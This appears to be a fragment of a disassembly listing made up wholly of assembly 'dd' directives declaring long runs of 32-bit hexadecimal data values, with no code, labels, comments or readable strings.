		dd 0B3727164h, 8A4AFDF8h, 93AB5D98h, 923B634Ah,	42C260AEh
		dd 0D5F96Eh, 0BD0B3417h, 0FD325746h, 0E0C1E918h, 0E5E953C0h
		dd 0A50DC8FAh, 1CCF0D02h, 0FD0BA12Dh, 0E3012EC3h, 0D46E9BB9h
		dd 0FFD9C72Fh, 3B632FABh, 0C65B0C98h, 9A59F5B8h, 0D5F71257h
		dd 0A80451B1h, 88680590h, 3B4D2601h, 16F107C5h,	4944D26Fh
		dd 0B42BF3E2h, 66852351h, 3E88B30Fh, 12989C64h,	0B451F858h
		dd 4108EBC8h, 0DF7F2056h, 112D5112h, 2F792609h,	0E9D712B0h
		dd 0F9F36BD9h, 317F2F30h, 3D1B4F19h, 7FB984A2h,	1A21DCCDh
		dd 78986844h, 0A3BF4E55h, 89CC2544h, 3D4245FAh,	0C69432B1h
		dd 9B486C4Ah, 54A5DAF5h, 3680B6Ah, 98D1DBC3h, 1D892B47h
		dd 0BF616660h, 0D6901A13h, 3A3F4C59h, 2510165Dh, 2EF0772Dh
		dd 0EB808053h, 0D3F6111Eh, 2E2459B8h, 2B42935Eh, 0CA46CDh
		dd 0ABB1D6B0h, 2897C180h, 0B67552E6h, 0DF78E9F0h, 0A91AF16Eh
		dd 6874015Ah, 4C2F6D4Ch, 0F6AC8633h, 8F0BD26Fh,	13D14D59h
		dd 0FE1908BBh, 82B44CC1h, 0C8306206h, 81395959h, 0B47EB551h
		dd 0F6AA2493h, 5009DC7Ah, 526B23E9h, 60410970h,	2B067842h
		dd 55AEA45h, 43C75813h,	0DC591FB0h, 9C9EC4Ah, 1D703EF9h
		dd 41098F00h, 829F4206h, 50E62BFh, 9204ECBBh, 0E2C86204h
		dd 5F0E9BFDh, 3E393B14h, 263A948Bh, 703605C2h, 3EBC0322h
		dd 37000669h, 3809ADC6h, 434FB2CBh, 0ACA4A9D3h,	0F0010A9Bh
		dd 0BBC66460h, 12693127h, 0B24C1A68h, 560B7C34h, 91B8366h
		dd 862A81DDh, 81F8B46Eh, 0CFFC00EDh, 0EB3174E5h, 0D95E295Dh
		dd 508F7C92h, 0A04E608Ch, 279406DDh, 0D6E47B98h, 686464Ch
		dd 2D926686h, 1330094Ah, 108B454Dh, 2F08D708h, 0CC2F8165h
		dd 0E1C517CAh, 0CDC5B026h, 2D084AD0h, 0CB11E659h, 0C5D11E92h
		dd 0E2E9E2Ch, 0DBC05117h, 34A739FAh, 0D565D56h,	40705907h
		dd 29375B30h, 0FC09AA2h, 615C8BE9h, 0E768C6BEh,	5C11FA61h
		dd 849E296Fh, 0C2746414h, 0B8E00548h, 0A5007BE3h, 41F28119h
		dd 5F1A065Bh, 0CFEB8131h, 5600775h, 24E034C7h, 0B278909h
		dd 0F9713FD5h, 0DB4C09A5h, 0F8CD1227h, 0DEC45E26h, 895B70D1h
		dd 41103970h, 3EB4CC50h, 58E7301Ch, 84D8F814h, 4FBA5561h
		dd 44396CEDh, 5A378C8h,	3E3D685Fh, 0DAA173CDh, 0EEA83CC2h
		dd 12D7909Ah, 1307C177h, 8CC1168h, 85A0814Bh, 7B1C06E1h
		dd 395F0065h, 3BDBF381h, 80A131A5h, 0CBB00772h,	7BA01159h
		dd 14BB2D4Bh, 1959BFBAh, 0B029348h, 46163568h, 5481F060h
		dd 0F176CC62h, 2E9B3D6Fh, 71727D2Dh, 4571D018h,	5B802961h
		dd 0CE4B01h, 34214F74h,	0D00BF730h, 664135h, 47110555h
		dd 0C6EACAE0h, 93FA17C9h, 3FABF6DCh, 0EFB03ABBh, 219A23B6h
		dd 620790ECh, 0F7017137h, 807C7E5h, 7BFB7FE9h, 3F4EAE80h
		dd 0A3005A2Fh, 984AD2BBh, 0FF1E34E5h, 26EBF144h, 3DB23913h
		dd 0A19A303Eh, 0E96C1AAAh, 0F8DA16A1h, 76835239h, 0ABD20BA8h
		dd 0D7823118h, 1E6AC2EEh, 5F1E38DCh, 684BE1BAh,	0F82D1D37h
		dd 38B4E14Bh, 0B87A236h, 0B94EC064h, 84FC7B84h,	0F8505632h
		dd 0A8B62D24h, 96370593h, 51959844h, 6AB66815h,	9A522D1Ah
		dd 736CA31Fh, 11CE060h,	1410DF54h, 5A810C44h, 25F8E959h
		dd 0C481D8B8h, 25D0E79Dh, 541DB340h, 53DE6880h,	2A98582Ch
		dd 58804333h, 0E8D14CF7h, 0B22B7B0Fh, 62BBBF1Dh, 8910A206h
		dd 96B7D0CEh, 950684D3h, 594885E4h, 0FA098959h,	0A9B12054h
		dd 0BC016B0h, 0D6630725h, 191B981Ch, 7AC1352Ah,	8264C0F1h
		dd 6F215E26h, 40041C3Eh, 45CC839h, 15A26858h, 389633AEh
		dd 5259F312h, 0D012191Fh, 0DECCAA53h, 58542768h, 0E293A9F1h
		dd 0AAA80052h, 0AD19E3A7h, 0F8BE1C2Dh, 3F2548B5h, 0C20D0134h
		dd 8B5C2DD3h, 0BAC2C550h, 0EB0105AEh, 0A944F1E9h, 0F07310BEh
		dd 21E68101h, 3A6E117Dh, 679E8587h, 682454B3h, 0B51635FBh
		dd 0EAF9FC8Ah, 2D12C20Fh, 6A9F7E4Fh, 705F0CAh, 0F1A54B26h
		dd 5B4AE90Eh, 70B43F80h
		dd 81003F10h, 4371D2E2h, 4BF571Fh, 66E755D8h, 41F38047h
		dd 75184229h, 6E10DFF7h, 5BD2300Bh, 57D43C0Ch, 50299F2Dh
		dd 0B3E34B31h, 0F7680A00h, 88CFCF4Fh, 1702411h,	592812EFh
		dd 586BF075h, 50CB36BEh, 0C493BDCEh, 92DD74Dh, 0D121A0E9h
		dd 0E1F689EEh, 0CC58DFF8h, 75BB1388h, 72C6EBF3h, 0BB00A4A8h
		dd 1ABF0189h, 0B05BDF29h, 0D12A2572h, 56D8D8CBh, 0C2EC45A2h
		dd 0E97848B5h, 0F53FD353h, 480B201Eh, 5E7E84Eh,	5526CE57h
		dd 8B422D6Fh, 6FA8F57h,	46DDCCEh, 514C2CC5h, 29EEE00Dh
		dd 9D966E90h, 1A78BA50h, 7426201Eh, 0A2BEB3E0h,	11F2A30Bh
		dd 4760B01h, 0FBF088A8h, 8A79046h, 13775E09h, 786B5B0Bh
		dd 0B8F9A326h, 4CF71952h, 4278BD9h, 0A6269145h,	977FF600h
		dd 5F58138h, 61B10ED8h,	8235E045h, 9F1F283Bh, 0CE30CAE9h
		dd 966BDBAh, 0FA8735DDh, 0E7AB7B06h, 22BEC604h,	62C14CECh
		dd 1980B069h, 4776A0F7h, 0F82F89E7h, 8B44C95Fh,	0D1D45CCAh
		dd 7D9C8057h, 8941101Eh, 2D5D00EFh, 15CF6F8Ah, 551F829h
		dd 11A57907h, 4A48AD0Dh, 0A81C615Bh, 0D4C4044Bh, 0B57FABACh
		dd 6E403813h, 7FC1A1ADh, 310BE8C1h, 4BB968D0h, 9922512h
		dd 4AA9C908h, 4910F2D0h, 0FE0EE220h, 8C2C0C2h, 625867E9h
		dd 74C92C9Eh, 92D0B469h, 9960F11Dh, 0EE952A59h,	0A10D5577h
		dd 8008D33Dh, 99283106h, 1F5E082Ch, 0E3736640h,	0A2ADA419h
		dd 250A0CFEh, 49CA0308h, 54293E69h, 6C52107Ch, 0CEF24B0Ch
		dd 5BD6B269h, 2B7D9A81h, 0D83B592Dh, 0D8651F97h, 10AAD39Dh
		dd 6A89C262h, 726844C0h, 210D371Eh, 59BFBD89h, 0DDB70F65h
		dd 0F1C02C4Bh, 9D2EAD05h, 0C20E6E1Fh, 14872558h, 29EADE34h
		dd 7F1222ACh, 99C11A59h, 20110224h, 0C0EF78FEh,	0E989CE80h
		dd 48D0BABEh, 0D9022FADh, 0F73A901Eh, 74A100D5h, 0B061B5BBh
		dd 0BA3B5817h, 70A7281h, 663303Dh, 73E18080h, 69F13DC2h
		dd 0A36F7D97h, 0C9E102Eh, 39EAD107h, 26C392D0h,	1A0E1AC4h
		dd 0C0684046h, 0EF138BE5h, 1A456030h, 38FB55AFh, 0AD4DB398h
		dd 27409742h, 4F0E2F44h, 0EBC1035Bh, 0D1DBF702h, 40F381A8h
		dd 6CA33616h, 4A5B8A03h, 87F2D842h, 34351360h, 24EE8C1h
		dd 4018B9CAh, 0BB80804Ch, 5ECC6DDh, 9CE9EA31h, 701CF2D1h
		dd 0D049D84Ah, 685721F6h, 993E7643h, 0A6FC45E3h, 81619606h
		dd 69FCDBC6h, 0D6010070h, 3E43B850h, 253A45D3h,	526D8087h
		dd 0D839282Dh, 0AA929ACFh, 6C1EF94Bh, 202DE90Ch, 5FC6C6ECh
		dd 0D17E13CBh, 3EA56CD9h, 52ADF035h, 0E2155512h, 30FA0F13h
		dd 635865F3h, 81C34E90h, 1AFC17EBh, 12E5167Bh, 5A7440F8h
		dd 0C2AC3548h, 138E263Eh, 6CA83A30h, 0C304B190h, 0C0690C7Dh
		dd 5F15C6CEh, 4AEE4660h, 1230F333h, 0F73AEAE9h,	50E74C77h
		dd 5BBB089Ah, 2FF6AF08h, 47401C30h, 0B6A659Dh, 53940AF5h
		dd 6D7278C0h, 7105493Ch, 0B6C30192h, 0E958C701h, 0CF4F2EDBh
		dd 733DC2C2h, 0A0B0F645h, 0BCF18308h, 0E9CF55B2h, 804D8076h
		dd 39F07DF4h, 89FF3258h, 605DF2EDh, 74570E5Fh, 891205C2h
		dd 0AEE85DEBh, 0AF88D54Bh, 0A4944221h, 2E28CD3Ah, 23685602h
		dd 80AC5952h, 3866F0Fh,	0C495535Bh, 0A9D4811Fh,	0D3F6E255h
		dd 5F56964Bh, 45B66812h, 68BC1EA8h, 6A019724h, 9DE21F6Fh
		dd 0EE8E4245h, 5079E267h, 0B41F6055h, 4DBF2E5Dh, 810300FFh
		dd 0BC0B99F6h, 0CE4C0198h, 20821807h, 79652338h, 0B7490CFh
		dd 13218BBCh, 0FD9A0B50h, 6C1C24C1h, 0D6E55764h, 442CCB6Ah
		dd 0D8B8FE10h, 0D063EB2Eh, 7AEF06C2h, 71790FE8h, 0F269076Bh
		dd 36547041h, 0C838DBAh, 56253773h, 4FB41C4Eh, 5B3C6858h
		dd 0E920214Ah, 2A442C64h, 0C197AA2Dh, 0CE7102C9h, 0D1256238h
		dd 0C0A56C00h, 769C8A48h, 5F7890Bh, 0F3BC3B95h,	82F28637h
		dd 705E5299h, 0DEB857E5h, 0AFD93084h, 0CB686C30h, 657AB662h
		dd 9348E11Eh, 78A8BDA3h, 28469393h, 9700A2DCh, 758CC117h
		dd 0B1F82AE9h, 9C6BB215h, 88805297h, 7F480E42h,	5C544B90h
		dd 84B9C6A3h, 7CAE6861h, 90C08A68h, 0E96B5E64h,	0E7CE749h
		dd 201ABEBFh, 9CF811Eh,	33BD2E67h, 144F03BDh, 0D7AB29A3h
		dd 55421005h, 97022AAEh, 0E07B933Fh, 0CA588CEEh, 125DFD83h
		dd 0D604E23Ch, 303A9204h, 0E4330116h, 30295C53h, 2A00F634h
		dd 8A35692Fh, 954B2108h, 2947FF80h, 0AAF8156Ch,	0C757E81Fh
		dd 0E32FF5ACh, 5062C81h, 6C4F0056h, 0BF574684h,	80C4651Dh
		dd 4A3CA2A5h, 0D3C105BCh, 16CC86AFh, 80CABFB2h,	27011EA2h
		dd 2770912h, 10698A8Fh,	0C2E230B0h, 0A01791BDh,	0F097136Fh
		dd 70CCA82h, 9C4E0842h,	8E661685h, 0D64509FEh, 0A9A43B04h
		dd 93A0D285h, 0D54F85h,	0EE68551Dh, 1A5CCA3Dh, 3CB24FFCh
		dd 78480591h, 19FB0B96h, 5EF0ED44h, 0F16BDA64h,	5D9D53BBh
		dd 5BE82FCCh, 6B4A72E9h, 525F3720h, 0BDDF754h, 177BCF3Fh
		dd 26F5A1DFh, 5501DF00h, 35720238h, 60EF3FC5h, 0F704CC40h
		dd 8D2DD000h, 89730DFFh, 0C5584FC3h, 568882D8h,	8E5C101h
		dd 12E76270h, 0C850FC87h, 0BA4EE856h, 0D6A51924h, 19A443F1h
		dd 0D3980077h, 0F12DFB74h, 55A04513h, 7127984h,	0D0810Fh
		dd 5CFA2612h, 0D8594E5Ah, 391488D3h, 16DE2DBEh,	18C24BE9h
		dd 4C524045h, 21152470h, 1D061735h, 69B6028Ch, 6360299Eh
		dd 122FB523h, 316EE0CCh, 0C4E927D5h, 0C051ED09h, 0F7665C82h
		dd 4BEFEF1h, 21A9068h, 0ECA16DE9h, 0B1442443h, 0F119520Fh
		dd 0F62F8B22h, 0E4E5F0DEh, 0F1881C90h, 66C8045Ah, 85EDA859h
		dd 62BF55D8h, 0FE2304D8h, 0D24852A0h, 0F936538Ch, 0EF129892h
		dd 0C51C9707h, 5BA212FEh, 672E3D43h, 362DA1DEh,	0B89418ECh
		dd 9759907Bh, 46973C96h, 0E9C0800Ch, 0B800B7DDh, 81387605h
		dd 35C0075Ah, 0C115A47Ch, 0FB416A90h, 2D057A25h, 6BA19CE9h
		dd 742F3D2Fh, 0D80101FCh, 3D0EBB53h, 74317ACBh,	0B01D2568h
		dd 0E03CD6E8h, 1C5B2932h, 0EDB62B4h, 0F75EB57Dh, 15B1E9A2h
		dd 9D289C55h, 0D7DCCE4Bh, 525B7528h, 59BD2CA3h,	0E9F0300Bh
		dd 7782E2EDh, 36C18BB2h, 0EB163FCCh, 0A5B479B8h, 0C4CA6BFCh
		dd 0AF42E909h, 19BD1014h, 5E88550Bh, 0EA82D8EBh, 0F6AB5113h
		dd 3AFE4272h, 92BC7E59h, 2AB91135h, 0E8D383CEh,	0CD3A84D7h
		dd 2DC9560Eh, 0CEFC6AC2h, 0EE3B5718h, 7D5D12A1h, 0A6EE1259h
		dd 5AEC100Dh, 0FE8DB300h, 80DBF6C3h, 4E07EB34h,	0A2E37DE1h
		dd 0D36243F2h, 0C06317D1h, 0A0324AE2h, 0A2F2CB7Ah, 0B2E9570Ch
		dd 9CD872Eh, 6F42628Eh,	56D0B489h, 0F34F5176h, 0A8EAA840h
		dd 0BF249A30h, 0D0215898h, 51129B91h, 0B6C268BCh, 0DC61F6CFh
		dd 8967E2DAh, 0F5A642ABh, 256861ECh, 0CF127AF8h, 5156E640h
		dd 2020CF8h, 0D1592B39h, 1F08FEE9h, 57A6BD0Ah, 62FC03DCh
		dd 0A7F2A084h, 135B258h, 60F858CBh, 0D71F7412h,	34E08C22h
		dd 47A25112h, 1B101C01h, 189D7095h, 5616E07h, 29C41CE9h
		dd 7C363AA8h, 4A6952Eh,	105E9055h, 59051D47h, 0E2733F83h
		dd 1E8D489h, 725222BEh,	0B40B6F26h, 771F0868h, 61015797h
		dd 4B336AF3h, 1759CFE8h, 372E8C68h, 3F2681EFh, 0E95DF0E6h
		dd 60C0E34Fh, 3C2D9242h, 1DA572E1h, 0E7C13E81h,	0AF52B506h
		dd 0B7258B04h, 0E5FC5E09h, 16AF6858h, 0C22E9B03h, 48D64AB0h
		dd 83CE0789h, 76EAA27Ah, 8125F241h, 33B26C66h, 9D8AC428h
		dd 28D3CBFh, 0A59618Ah
		dd 2BEEA749h, 4E595FF0h, 9CB34FFBh, 39DC2DC9h, 2E685F82h
		dd 3CCE5140h, 6C05D804h, 45A9561h, 165B467Ah, 6EFBD80h
		dd 0FFA4822h, 4DE5F92Ch, 103376AFh, 0FE52E2E3h,	175FB010h
		dd 838CD030h, 3CB40050h, 0B252DCF6h, 0D40B08FCh, 9037ABE9h
		dd 2E2A76E0h, 827A6974h, 0A9655CE2h, 8BD71F49h,	2B52FE16h
		dd 0B050C5Eh, 8F206EE9h, 949DBBA5h, 45811243h, 44336F5Dh
		dd 0A20576CFh, 0CA24E5Eh, 0EB164D94h, 49C89432h, 2CC08DC1h
		dd 4DEEE188h, 0CB87E6A8h, 0DD50ECD2h, 662A17A0h, 0AA97D97h
		dd 361FB7BEh, 7059A7BFh, 45C920B8h, 79B0BF05h, 0F7094093h
		dd 2410001h, 4091E94Fh,	573BBD0Ch, 81630047h, 442CFFEDh
		dd 7C93A01Ch, 3BE62851h, 0F801BD9Eh, 2F8008B5h,	0DFC5FBC0h
		dd 59EA3830h, 7AC5414Ch, 0F10AD8AAh, 6F89F44Eh,	0CD280231h
		dd 3B229D5Bh, 5DEF0561h, 3FD98D7Ah, 0DE9B0062h,	0D2C0E09h
		dd 8D03FD49h, 6825DE9Ah, 5882A450h, 7FA721ABh, 565F00F8h
		dd 20AB9855h, 5216C07Bh, 9E1306B6h, 0A94125A1h,	0B307ECEBh
		dd 0A4F9CC8h, 642E9DEh,	0E9ED205Bh, 3FC0CE14h, 5FA435EFh
		dd 0FB293EE2h, 3BE053B8h, 891B7DF2h, 78260B7Bh,	8364D334h
		dd 0C293A317h, 7C5BDE29h, 0BE9C107h, 0DE496917h, 8EEF0ECAh
		dd 0C5B86683h, 5235A119h, 0DA0DC3C3h, 6A87F563h, 0FAF0C943h
		dd 75E9ECF9h, 1C914892h, 8B02884Ch, 678B1801h, 0DF014A2Bh
		dd 4FC4E441h, 0E5F814E1h, 0C7691DE0h, 0F7F5811Fh, 6F0D4D06h
		dd 5B75DC8h, 294A4E5Eh,	591383EFh, 5FFEDD00h, 1557F4BBh
		dd 0A469006h, 74453FFDh, 77960399h, 0DA727632h,	0F22652BBh
		dd 2040EC08h, 5DB8FEF6h, 27519BDBh, 4DAE7FEAh, 0C700AE74h
		dd 7E03A385h, 1EC7FB21h, 60CE08E3h, 7F8A16C9h, 0E4C04BE9h
		dd 5A00D093h, 8086B551h, 128D8F5h, 0F3459E8h, 7058C230h
		dd 0C3FCC80Ch, 0D3589670h, 144A2DC8h, 1F892059h, 0A6A0C19Fh
		dd 2952172Eh, 0C89C290Dh, 0F172522Dh, 0D9B4F92Dh, 58668472h
		dd 6599A418h, 0C83C9B41h, 0F77D9E00h, 40E0D137h, 6CF38AFEh
		dd 0B8469716h, 941CF9F7h, 23712729h, 330938A4h,	609C7E5Ah
		dd 7EF280B3h, 33D7A4FAh, 978DA613h, 8D6505F9h, 25450EE8h
		dd 0E86060DDh, 4D003A2Dh, 0D40D4F86h, 0E41D3537h, 87120273h
		dd 58C1292Bh, 34C16B62h, 441C20E5h, 0EDCC58BFh,	4B28A9E0h
		dd 0A23AE023h, 0B453B17h, 7C61F9E1h, 6A9A57FAh,	91833057h
		dd 0E53AB54Ch, 4A034C5Eh, 3390A05h, 3716DF0Fh, 287A0168h
		dd 780A57E7h, 0ED981820h, 92546B9Fh, 0EC59054Ch, 0FCBBC9DBh
		dd 5BE9846Ah, 4B67A30Ah, 0EAF56FB2h, 0A2731C45h, 60C9A813h
		dd 0B020BA22h, 83BF741h, 5C359AA6h, 12D9B8Eh, 5C4AF544h
		dd 0D34BAFCFh, 4F5C3DE3h, 94C9DEDEh, 0FC629DDh,	0E7D0622h
		dd 0CBED5B43h, 170E501Fh, 0B8C182Eh, 3B78BF00h,	72810127h
		dd 0F36417CFh, 0D8985C13h, 627862EFh, 971E595h,	0D025E686h
		dd 8B4DB20Ah, 12EE7259h, 0C94ADFE9h, 3811E03Ah,	0E4824B2h
		dd 5B043AE6h, 0E8430229h, 513587DDh, 505C5DBAh,	515C2D56h
		dd 0BA99E8EFh, 8F0543AEh, 2386C588h, 5A01ACA3h,	391DCA81h
		dd 0F0F11331h, 0A6908BA2h, 7D50139Eh, 2807EC40h, 0C504064Ch
		dd 473731CCh, 6908EA01h, 0E30A3B26h, 0C3408EDh,	840D1414h
		dd 49A89C1Dh, 0ACC3D29Ch, 202148EFh, 756812CAh,	43F7991Dh
		dd 1E5EAEA4h, 34E94C3Ch, 322BE38h, 0EB28F697h, 5EBF2EAFh
		dd 0B0926F63h, 16DA6980h, 0C8BD4149h, 805542F2h, 0F67B53BAh
		dd 50332C4Ch, 7F336E0h,	0C388D0B1h, 0F0D8B234h,	63C075DBh
		dd 5E30B07h, 0E9011A04h, 62F7E1AEh, 2F9F6B48h, 0DB2E9B5Ah
		dd 6EA40098h, 0F2E454C5h, 9FF0BAA7h, 5F8E4EE5h,	712FAB68h
		dd 737F8941h, 645E0966h, 2AE98AF0h, 3EFAC766h, 35825557h
		dd 5D7CBD7Ah, 65C943E2h, 10346F5Ch, 0ADE0AC2h, 4F04148Ch
		dd 0E1AFF83Eh, 0F4B59580h, 0F63DEDD0h, 0E54E96D5h, 0CA2BF7CDh
		dd 36680BEDh, 45FEC439h, 2F1D2783h, 2FBB52DBh, 7DC63775h
		dd 0B2228160h, 7B1C3959h, 0B733AC8Bh, 5C8304CAh, 35905D21h
		dd 726E955h, 52793857h,	27E97934h, 5D922CA2h, 6489571h
		dd 42FBD449h, 8A52B11Bh, 48B5E7EAh, 2648AC80h, 10424501h
		dd 605E3E32h, 1924A680h, 0EF05005Dh, 2D571518h,	0D03A428Fh
		dd 952E822Ah, 0C0890C80h, 3ACF0939h, 89D51AE9h,	0A50735E1h
		dd 7D08E85Dh, 2B2A5377h, 999DF0DCh, 916BD313h, 1097A61Ah
		dd 3D5EE2F6h, 2A9B6C0Ch, 0D4D016EBh, 0A67AF480h, 2BA4994Eh
		dd 0DB0D33D8h, 0B0E141C2h, 0D2987B24h, 5599600Bh, 0A99D69EAh
		dd 0D329370Ah, 0A100BF5Ah, 109E562h, 125E61F2h,	0ED15705Fh
		dd 2F51E629h, 2B60E989h, 52AAD4FCh, 5529A5DFh, 6A95AA00h
		dd 7817804h, 0B03DEAE9h, 10095F31h, 58C78354h, 294D0494h
		dd 0F1C16FFBh, 0C631873Ch, 0E9174F4Eh, 5B34008h, 1F7752F2h
		dd 13C8293Eh, 0F0D33A84h, 26F8FBC6h, 2024D3D8h,	58E92408h
		dd 14D93C7h, 166F8B7Bh,	8BAF33Dh, 0D20B2F5Ah, 0E44FC102h
		dd 2765A70h, 0C09FB198h, 0AFD2AD43h, 0EE4C1F64h, 81025EF4h
		dd 0E0FEE280h, 0A328A072h, 0E9D880B4h, 0F6054B5Fh, 0AE78169Ah
		dd 0F3D3FEBCh, 59CB0A16h, 652D1653h, 0E4E906F8h, 0F301EF59h
		dd 0C1DCAA21h, 0AB69D801h, 0BDBC2C5Bh, 502C70B4h, 0E9309827h
		dd 1ADF605Ch, 36611025h, 0CF351802h, 61624A5Dh,	5E4947BBh
		dd 0BB0F852Eh, 54578671h, 43F47830h, 6EF27B08h,	4A631C02h
		dd 0C896E5E9h, 0B05FFD2Bh, 6BC5586Eh, 0BD3412h,	852C051h
		dd 21ED0102h, 870804E5h, 0A810F581h, 7BBCF534h,	7BABD3B4h
		dd 2375DB4Bh, 0CC86C804h, 0D1A96457h, 7AE0D136h, 42515CD8h
		dd 1590E68h, 0B4FC72CFh, 0FA8C52B3h, 0EA42446Dh, 0CD8100B8h
		dd 9C581CDFh, 4EBE1825h, 0EEC6212Ch, 9299256h, 6BF068ACh
		dd 2B70A346h, 0E9EB309Fh, 2AEB535h, 0F50FC9DDh,	0E2E8D727h
		dd 0E4DEBF53h, 1CE21986h, 77584864h, 0E9A30130h, 0DC418A0h
		dd 6AF5BDAh, 8798C216h,	4F02C0Eh, 28348026h, 5EB652D8h
		dd 0A86AE0B3h, 0C195EEE0h, 9838DAACh, 0C784E249h, 0E440AC58h
		dd 5E9145EFh, 40B2B420h, 0D6630607h, 48C0F009h,	38FE8796h
		dd 25E046E9h, 0BCEFEBC3h, 9A97479Ah, 96325E64h,	29CB440Ah
		dd 163FA3CBh, 2CA8DBF7h, 0C66F4104h, 90E9FC07h,	949C209Bh
		dd 55EEBA8h, 0D36EA56Bh, 7866974Bh, 117EE9ECh, 560908EEh
		dd 0C9A077E9h, 4D52952Dh, 0DE2F034Ah, 8997B35Eh, 173714EFh
		dd 0A64E40E9h, 778114Ah, 0BB53844Ah, 8A207A6Dh,	880CB6A3h
		dd 0A1294DE8h, 88E95598h, 2E587808h, 8F21EED7h,	0F809F531h
		dd 0E28F45A8h, 95CC20Ch, 0ABF807EDh, 452E94C3h,	64BC354h
		dd 39E49948h, 70DB250Fh, 0CF67974Dh, 274AC525h,	9A27717Bh
		dd 83DCC217h, 0E86B31A2h, 72471ECAh, 0B9E9122Bh, 93554F94h
		dd 0B84F08C5h, 1EF51206h, 5FF8C445h, 0D812EEFDh, 0D6FCE9AAh
		dd 6C0ED300h, 905D0619h, 1679022Bh, 0CD016E47h,	56451159h
		dd 0A1E965C1h, 802E3425h, 0EC764365h, 0D686165Bh, 42910BB0h
		dd 50FC189Ah, 0BDE28103h, 4A5F997Bh, 1E5B8940h,	0B5334EFCh
		dd 0B1CEE44Ah, 0CBF46F5Ah, 149C4FE9h, 6D17C9E5h, 1313E751h
		dd 7FC08C68h, 0BDE2C3E9h, 9205AC6h, 94295BD4h, 2F6FB124h
		dd 35197D3h, 42B8BAC8h,	0E9980DFBh, 699536D5h, 0BD7844EBh
		dd 7DA7BF00h, 75BE55B4h
		dd 59A2CA09h, 0D1E50429h, 5E48E0ECh, 2E65CB5Eh,	8C423B5Ch
		dd 0C12E54BFh, 2856EF68h, 0F8E19350h, 0B2524181h, 0E0E2C0C8h
		dd 0AC1CAFEh, 0D6C28002h, 0D4F0E360h, 20782DD9h, 8103446Ah
		dd 340848C9h, 0DAC1B03Ch, 0B65B258Fh, 5095BC78h, 0C88697B4h
		dd 47206E56h, 72665843h, 101BF75Bh, 0E05A08CBh,	0AA4A8E64h
		dd 5A288190h, 582D25B4h, 9A0176Ch, 3180B733h, 0A15D4FE8h
		dd 0A56FEC19h, 8BEF3FC0h, 0B4F4082Bh, 0F7153F7Ah, 20488DCEh
		dd 93414B1Eh, 68A5838Ah, 912742FBh, 7BDB8B49h, 99EB03CDh
		dd 0AB851C42h, 9085D50h, 543CB2E9h, 603F9C80h, 0B7ED801Ch
		dd 0C55DE51Dh, 60190672h, 0DD983008h, 0FE948B61h, 0A1F651E8h
		dd 18A94806h, 1C12F089h, 22E9EBh, 57C30107h, 111F72BFh
		dd 0F781523Dh, 6240592Ah, 6638EC82h, 0E540530Dh, 31481F33h
		dd 0D9D925D8h, 4072A822h, 5031ACC3h, 0E5038C54h, 84750102h
		dd 76B39224h, 7FABB34Eh, 0C4FBF32Fh, 0BE877B68h, 9B005A7Dh
		dd 63C609D5h, 0D1624F98h, 7BCF290Dh, 60011E6Bh,	0E4BC5D71h
		dd 5E1DC652h, 954BA35Bh, 40C8D20Ah, 3691419Bh, 920E5C13h
		dd 0C9E2570Ch, 0D29495C3h, 5BDE0903h, 784698E9h, 4A26EE8Fh
		dd 0A200312Bh, 0B8652F22h, 172A2608h, 8103E851h, 47DE685Bh
		dd 95BF2389h, 0B042BEF1h, 14620A2Ch, 0F609A008h, 73026819h
		dd 2259D00Bh, 0D7355817h, 5F2DE522h, 6812E694h,	8DEC2AF1h
		dd 8D17C5C1h, 0CBE42A78h, 2863B9E9h, 0A1926E6h,	3AF82556h
		dd 0A93D8E12h, 10777310h, 0F74825C6h, 0C4033858h, 684AC259h
		dd 985F5A9Ah, 0AC43A301h, 58D2F647h, 4D26E90h, 434B6225h
		dd 0BD581FCFh, 25CE01AFh, 3EDDB001h, 0F92874D9h, 0C1C7E913h
		dd 20D021E6h, 54C5E42Dh, 76C26F04h, 975E0444h, 0B852944Ah
		dd 88580AA6h, 9809C5FAh, 6016F61Eh, 58C20825h, 7AE2D026h
		dd 9B067E18h, 0CAA2702Ch, 80DEF464h, 9556857h, 5F165E8Ah
		dd 2300EFC1h, 0E634B9F7h, 0FC8C123h, 3B5EDE35h,	0F5EF8D00h
		dd 8068F351h, 0FFA731Bh, 0B6E9D9C4h, 78048E0h, 285BA4C1h
		dd 0FA48B5C8h, 0E45C7F49h, 0DDEAC821h, 0DBE02913h, 0A9D300F6h
		dd 42C710D8h, 0E707F438h, 72019D2Dh, 4E60377Dh,	83055CF7h
		dd 0E153FB81h, 7BEEED3Ch, 44C6A340h, 9F7D7FF3h,	0C879B80Bh
		dd 0DE7DE9C2h, 2F571757h, 491C1BB0h, 231AB11Fh,	0E616B828h
		dd 0CA4D65C0h, 16E8211Ah, 48928C5Ch, 74DE8FB7h,	56521F1Eh
		dd 243CE16h, 0C285F680h, 4A8B708Dh, 0D376F35Fh,	598F9009h
		dd 525CC2B9h, 135B857h,	0E65D4FEAh, 5BDA1784h, 0EBC2AD24h
		dd 2A57940h, 7BE76F8Eh,	416C83DFh, 0C51B0302h, 39E81A4Bh
		dd 50FC8FD9h, 50EDF5C0h, 0D7EDCD7Ch, 27A523E8h,	80618C1h
		dd 282AE61Dh, 0F73966D8h, 0CA689AE9h, 0C7A97F0Eh, 0A03984FCh
		dd 28F3BF2h, 2EED16B6h,	0A4352A3Ch, 59893C42h, 2C03FC5Ah
		dd 0E57E42D7h, 0C62774F9h, 56FB88DBh, 2C098CBEh, 80531C7Dh
		dd 0A3286B58h, 0B69B982Eh, 0DBBD009Ch, 0F755065Bh, 14DEDD60h
		dd 0A01DAF2Ch, 14B69386h, 0AF298DADh, 89BDE915h, 41486809h
		dd 0B0D61AA2h, 0D5611009h, 1C21D14h, 0E06DC705h, 2DC8625Dh
		dd 27E90782h, 0DF279672h, 0E450E85Bh, 9AA3B2Ah,	2BDE700h
		dd 0EBE9573Bh, 0EE9E2441h, 0A5253840h, 0AD1C2B3h, 0F0F6D31h
		dd 958BB05h, 859C423Eh,	3FA4323Fh, 20D0EC5h, 0E5C00CBEh
		dd 1A1B4D85h, 3B74F6C0h, 0A229C190h, 88D554B6h,	500022ABh
		dd 0DCF60DB4h, 38F43980h, 826C494h, 0E188870Bh,	492FD302h
		dd 0C8AD2879h, 0BD9A9BFAh, 1098A6Eh, 661389FBh,	68E92FF2h
		dd 0D8E19E48h, 69371A1Eh, 0ED3BAF8Ch, 8BB6E0h, 126C45BAh
		dd 0D9B63175h, 0EC252E21h, 0BA6C9F5Fh, 790DFD01h, 0BA1DE917h
		dd 0BF86DD2Fh, 309252Dh, 805B6645h, 276859E8h, 0D6195279h
